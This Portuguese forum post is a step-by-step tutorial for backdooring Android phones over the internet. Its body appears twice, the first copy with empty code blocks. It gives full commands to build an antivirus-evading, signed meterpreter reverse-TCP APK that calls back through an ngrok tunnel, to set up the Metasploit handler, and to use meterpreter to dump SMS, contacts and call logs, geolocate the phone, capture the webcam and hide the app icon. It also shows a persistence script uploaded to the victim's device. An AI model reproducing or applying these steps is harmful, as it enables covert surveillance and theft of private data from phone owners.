DEVO OS DEVIDOS CREDITOS AO MEU MESTRE E MENTOR KaR0na, Roubei da cara dura e postei aqui porem ninguem tem acesso entao nao da nada!
Este post aborda uma simples utilização de backdoor em smartphones não apenas em lan onde seria executado na sua rede, mas também em WAN, para isso utilizaremos as seguintes tools:
Metasploit - [Tens de ter uma conta e sessão iniciada para poderes visualizar este link] ... Installers
TheFatRat - [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
ngrok - [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
Foram utilizadas os seguintes equipamentos para este paper:
1. ngrok
O ngrok é uma tool utilizada principalmente para disponibilizar um host como web server, sendo possível acessá-lo através da internet, ele abre um túnel que conecta aos servers do ngrok e repassa para o host em rede interna. Neste paper o ngrok será utilizado para receber a conexão vinda do alvo através da internet e repassa-la ao computador atacante na rede interna como dito anteriormente, substituindo o papel do router de redirecionar a conexão, é possível também utilizar o router para realizar essa função, porém queria utilizar o ngrok pois facilita a vida de ficar configurando o router sempre que for fazer essa parada. Para utilizar o ngrok é simples, basta informar o protocolo e a porta:
Código: [url=#]Selecionar todos[/url]
Uma breve explicação mais detalhada do papel do ngrok é que ele primeiro irá gerar um link e uma porta, esse link e a porta ficarão no payload (app) para quando o target executá-lo o payload saiba em que lugar iniciar a conexão, então a conexão será estabelecida com o servidor do ngrok e repassará para o host em que foi executado o programinha do mesmo, assim basta setar no metasploit apenas o localhost e a porta que foi aberta (4444, poderia ser qualquer outra). A imagem abaixo representa essa conexão:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
A imagem a seguir representa como seria a conexão utilizando o router, a grande diferença é que o payload carrega consigo seu endereço de IP público, se o target fizer uma engenharia reversa e descobrir seu public IP nele, corra berg!
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
2. TheFatRat
O TheFatRat é uma tool para gerar um payload em conjunto com o Metasploit criando-o com o msfvenom e camufla o payload para não ser detectado pela maioria dos antivírus, o TFR é importante nessa etapa pois o payload criado a partir do msfvenom (cru) não funcionaria em alguns aparelhos (principalmente os mais novos), então navegando por aí percebi que alguns smartphones utilizam uma certa 'assinatura' ou certificado que faz com que apps de origem duvidosa não sejam instalados, ou não nos permite . Aqui estão algumas opções que o TheFatRat oferece (numa tradução deveras duvidosa):
Se reparar bem, no menu inicial do TFR encontrará diversas opções interessantes, não entrarei em detalhes pois não é esse o objetivo.
Para utilizá-lo é preciso apenas selecionar algumas opções e informar alguns parâmetros, para este post foi criado um payload com a extensão .apk pois este é um arquivo que o android aceita para a instalação. Para criá-lo é preciso iniciar o fatrat como usuário root:
Código: [url=#]Selecionar todos[/url]
Código: [url=#]Selecionar todos[/url]
A criação do payload com o msfvenom ficariam dessa maneira:
Código: [url=#]Selecionar todos[/url]
O metasploit é uma das tools mais conhecidas na exploração de vulns, possuindo centenas de exploits e payloads. Com o metasploit aberto é preciso passar algumas informações, como o endereço do host e a porta, no caso do host tanto faz setar 127.0.0.1 ou localhost como endereço do host que abrirá a conexão.
Código: [url=#]Selecionar todos[/url]
Código: [url=#]Selecionar todos[/url]
Código: [url=#]Selecionar todos[/url]
Uma forma de manter a conexão com o dispositivo como o 'run persistence' no windows, é enviar um script para que o smartphone execute o app sem a interação do user, isso mantêm a conexão por mais tempo caso a mesma venha a cair.
Código: [url=#]Selecionar todos[/url]
Código: [url=#]Selecionar todos[/url]
[*]
Agora se cair é só executar o 'exploit' e aguardar um tempo, que a conexão será estabelecida novamente. Se reiniciar o ngrok a conexão será perdida.
Referências:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] ... etasploit/
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] ... rding.html
[url=#top]Voltar ao topo[/url]
Este post aborda uma simples utilização de backdoor em smartphones não apenas em lan onde seria executado na sua rede, mas também em WAN, para isso utilizaremos as seguintes tools:
Metasploit - [Tens de ter uma conta e sessão iniciada para poderes visualizar este link] ... Installers
TheFatRat - [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
ngrok - [Tens de ter uma conta e sessão iniciada para poderes visualizar este link]
Foram utilizadas os seguintes equipamentos para este paper:
CompiuterHost que será utilizado para criar o payload e ownar o celular alvo.OS: Ubuntu 18.04Metasploit version: 5TheFatRat version: 19.6ngrok version: 2.2.8TargetCelular boboca que servirá de alvo para executar o app.OS: Android 4.1.1 - Linux 3.4.0-perf (armv7l)
1. ngrok
O ngrok é uma tool utilizada principalmente para disponibilizar um host como web server, sendo possível acessá-lo através da internet, ele abre um túnel que conecta aos servers do ngrok e repassa para o host em rede interna. Neste paper o ngrok será utilizado para receber a conexão vinda do alvo através da internet e repassa-la ao computador atacante na rede interna como dito anteriormente, substituindo o papel do router de redirecionar a conexão, é possível também utilizar o router para realizar essa função, porém queria utilizar o ngrok pois facilita a vida de ficar configurando o router sempre que for fazer essa parada. Para utilizar o ngrok é simples, basta informar o protocolo e a porta:
Código: [url=#]Selecionar todos[/url]
- Código:
Karona@ubuntu:~$ ./ngrok tcp 4444Session StatusonlineVersion2.2.8RegionUnited States (us)Web Interfacehttp://127.0.0.1:4040Forwardingtcp:/0.tcp.ngrok.io:18889 -> localhost:4444
Uma breve explicação mais detalhada do papel do ngrok é que ele primeiro irá gerar um link e uma porta, esse link e a porta ficarão no payload (app) para quando o target executá-lo o payload saiba em que lugar iniciar a conexão, então a conexão será estabelecida com o servidor do ngrok e repassará para o host em que foi executado o programinha do mesmo, assim basta setar no metasploit apenas o localhost e a porta que foi aberta (4444, poderia ser qualquer outra). A imagem abaixo representa essa conexão:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
A imagem a seguir representa como seria a conexão utilizando o router, a grande diferença é que o payload carrega consigo seu endereço de IP público, se o target fizer uma engenharia reversa e descobrir seu public IP nele, corra berg!
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
2. TheFatRat
O TheFatRat é uma tool para gerar um payload em conjunto com o Metasploit criando-o com o msfvenom e camufla o payload para não ser detectado pela maioria dos antivírus, o TFR é importante nessa etapa pois o payload criado a partir do msfvenom (cru) não funcionaria em alguns aparelhos (principalmente os mais novos), então navegando por aí percebi que alguns smartphones utilizam uma certa 'assinatura' ou certificado que faz com que apps de origem duvidosa não sejam instalados, ou não nos permite . Aqui estão algumas opções que o TheFatRat oferece (numa tradução deveras duvidosa):
- Criar backdoor para windows, Linux, Mac e Android
- Bypass em antivírus
- Verifica o serviço do metasploit e inicia se não estiver presente
- Cria facilmente payloads do meterpreter/reverse_tcp para Windows, Linux, Android e Mac
- Inicia múltiplos listners do meterpreter/reverse_tcp
- Pesquisa rápida no searchsploit
- Bypass AV
- File pumper
- Cria backdoor com outra técnica
- Auto inicia scripts para listeners (fácil de usar)
- Drop into Msfconsole
- Algumas outras coisas divertidas
Se reparar bem, no menu inicial do TFR encontrará diversas opções interessantes, não entrarei em detalhes pois não é esse o objetivo.
Para utilizá-lo é preciso apenas selecionar algumas opções e informar alguns parâmetros, para este post foi criado um payload com a extensão .apk pois este é um arquivo que o android aceita para a instalação. Para criá-lo é preciso iniciar o fatrat como usuário root:
Código: [url=#]Selecionar todos[/url]
- Código:
karona@ubuntu:~$ sudo fatrat
Código: [url=#]Selecionar todos[/url]
- Código:
[01]Create Backdoor with msfvenom # cria a backdoor com msfvenom[3]SIGNED ANDROID >> FatRat.apk # para criar o payload com a extensão .apkSet LHOST IP: 0.tcp.ngrok.io# aqui é setado o endereço do ngrokSet LPORT: 18889# aqui é setado a portaPlease enter the base name for output files : aurora # nesta parte será o nome do payload (poderia ser vivoturbo)[ 3 ] android/meterpreter/reverse_tcp # com esta opção é setado o payload[*] Creating RAT payload with msfvenom[] Done![*] Creating a Valid Certificate[] Done![*] Signing your payload APK[] Done!Your payload apk was created and signed , and it is located in : /opt/TheFatRat/backdoored/aurora.apk# localização do .apk (aurora.apk)
A criação do payload com o msfvenom ficariam dessa maneira:
Código: [url=#]Selecionar todos[/url]
- Código:
Karona@ubuntu:~$ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=18889 -o /home/Karona/Desktop/aurora.apk
O metasploit é uma das tools mais conhecidas na exploração de vulns, possuindo centenas de exploits e payloads. Com o metasploit aberto é preciso passar algumas informações, como o endereço do host e a porta, no caso do host tanto faz setar 127.0.0.1 ou localhost como endereço do host que abrirá a conexão.
Código: [url=#]Selecionar todos[/url]
- Código:
msf5> use exploit/multi/handlermsf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcppayload => android/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set LHOST localhostLHOST => localhostmsf5 exploit(multi/handler) > set LPORT 4444LPORT => 4444msf5 exploit(multi/handler) > run
Código: [url=#]Selecionar todos[/url]
- Código:
meterpreter> ?Core Commands=============CommandDescription------------------?Help menubackgroundBackgrounds the current sessionbgAlias for backgroundbgkillKills a background meterpreter scriptbglistLists running background scriptsbgrunExecutes a meterpreter script as a background threadchannelDisplays information or control active channelscloseCloses a channeldisable_unicode_encodingDisables encoding of unicode stringsenable_unicode_encodingEnables encoding of unicode stringsexitTerminate the meterpreter sessionget_timeoutsGet the current session timeout valuesguidGet the session GUIDhelpHelp menuinfoDisplays information about a Post moduleirbOpen an interactive Ruby shell on the current sessionloadLoad one or more meterpreter extensionsmachine_idGet the MSF ID of the machine attached to the sessionpryOpen the Pry debugger on the current sessionquitTerminate the meterpreter sessionreadReads data from a channelresourceRun the commands stored in a filerunExecutes a meterpreter script or Post modulesessionsQuickly switch to another sessionset_timeoutsSet the current session timeout valuessleepForce Meterpreter to go quiet, then re-establish session.transportChange the current transport mechanismuseDeprecated alias for "load"uuidGet the UUID for the current sessionwriteWrites data to a channelStdapi: File system Commands============================CommandDescription------------------catRead the contents of a file to the screencdChange directorychecksumRetrieve the checksum of a filecpCopy source to destinationdirList files (alias for ls)downloadDownload a file or directoryeditEdit a filegetlwdPrint local working directorygetwdPrint working directorylcdChange local working directoryllsList local fileslpwdPrint local working directorylsList filesmkdirMake directorymvMove source to destinationpwdPrint working directoryrmDelete the specified filermdirRemove directorysearchSearch for filesuploadUpload a file or directoryStdapi: Networking Commands===========================CommandDescription------------------ifconfigDisplay interfacesipconfigDisplay interfacesportfwdForward a local port to a remote servicerouteView and modify the routing tableStdapi: System Commands=======================CommandDescription------------------executeExecute a commandgetuidGet the user that the server is running aslocaltimeDisplays the target system's local date and timepgrepFilter processes by namepsList running processesshellDrop into a system command shellsysinfoGets information about the remote system, such as OSStdapi: User interface Commands===============================CommandDescription------------------screenshotGrab a screenshot of the interactive desktopStdapi: Webcam Commands=======================CommandDescription------------------record_micRecord audio from the default microphone for X secondswebcam_chatStart a video chatwebcam_listList webcamswebcam_snapTake a snapshot from the specified webcamwebcam_streamPlay a video stream from the specified webcamStdapi: Audio Output Commands=============================CommandDescription------------------playplay an audio file on target system, nothing written on diskAndroid Commands================CommandDescription------------------activity_startStart an Android activity from a Uri stringcheck_rootCheck if device is rooteddump_calllogGet call logdump_contactsGet contacts listdump_smsGet sms messagesgeolocateGet current lat-long using geolocationhide_app_iconHide the app icon from the launcherinterval_collectManage interval collection capabilitiessend_smsSends SMS from target sessionset_audio_modeSet Ringer Modesqlite_queryQuery a SQLite database from storagewakelockEnable/Disable Wakelockwlan_geolocateGet current lat-long using WLAN information
Código: [url=#]Selecionar todos[/url]
- Código:
hide_app_icon # esconde o app do target, porém ele continuará sendo visto se for exibido os processos.geolocate # obtém o geolocalização do smartphone.play# envia um audio para o target a partir do compiuter (bem engraçado). Uso: play /home/Karona/audio.mp3webcam_list # retorna os câmeras disponiveis no celular.webcam_snap # tira uma foto com a câmera do celular. Uso: webcam_snap 1screenshot # retira um print do monitor/tela do celular.sysinfo# retorna informações da versão do android e do smartphone.
Uma forma de manter a conexão com o dispositivo como o 'run persistence' no windows, é enviar um script para que o smartphone execute o app sem a interação do user, isso mantêm a conexão por mais tempo caso a mesma venha a cair.
Código: [url=#]Selecionar todos[/url]
- Código:
#!/bin/shwhile : ;doam start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivitysleep 300done
Código: [url=#]Selecionar todos[/url]
- Código:
meterpreter > cd /meterpreter > cd sdcardmeterpreter > upload /home/karona/Desktop/backdoor.sh[*] uploading: /home/karona/Desktop/backdoor.sh -> backdoor.sh[*] Uploaded -1.00 B of 124.00 B (-0.81%): /home/karona/Desktop/backdoor.sh -> backdoor.sh[*] uploaded: /home/karona/Desktop/backdoor.sh -> backdoor.shmeterpreter > shellProcess 1 created.Channel 2 created.sh backdoor.sh
[*]
Agora se cair é só executar o 'exploit' e aguardar um tempo, que a conexão será estabelecida novamente. Se reiniciar o ngrok a conexão será perdida.
Referências:
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] ... etasploit/
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link] ... rding.html
[url=#top]Voltar ao topo[/url]